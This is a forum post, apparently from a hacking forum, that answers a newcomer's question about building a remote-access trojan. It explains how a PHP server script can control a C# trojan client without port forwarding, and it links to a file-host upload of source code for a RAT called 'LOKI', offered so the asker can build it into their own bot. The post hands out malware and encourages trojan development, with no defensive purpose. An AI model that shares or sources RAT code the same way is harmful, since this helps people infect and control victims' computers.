I don't mean to offend someone, but some of you look stupid right now, and it is because you see newbie user asking question that sounds weird for you, because you don't know what you're talking about.
Than let me explain, PHP and C# in a RAT makes a perfect sense, as @DoggyCollin said, the php script is on a server, C# trojan connects to that server, and the php script manages the trojan and a webbased Cpanel or just stores the data to be retrieved from C# client, so no port forwarding is required. And there are at least few I know of, and as a matter of fact I have such a rat source, it is LOKI! Here you go OP:
http://s000.tinyupload.com/?file_id=2243...6677632812
I haven't password protected it, so I will delete it in few days.
ps. this is in no way mine, it is free and open source rat that I got because I wanted to study the source and implement in my own bot, much like OP, but I uploaded it because I can't remember where I got it from, and idk if it's still available.
Also, I haven't compiled the source, but have tried it already compiled some time ago, and it is not very stable, through it worked...
pps. php CAN be compiled, as a matter of fact, it's just that it's not, most of the time...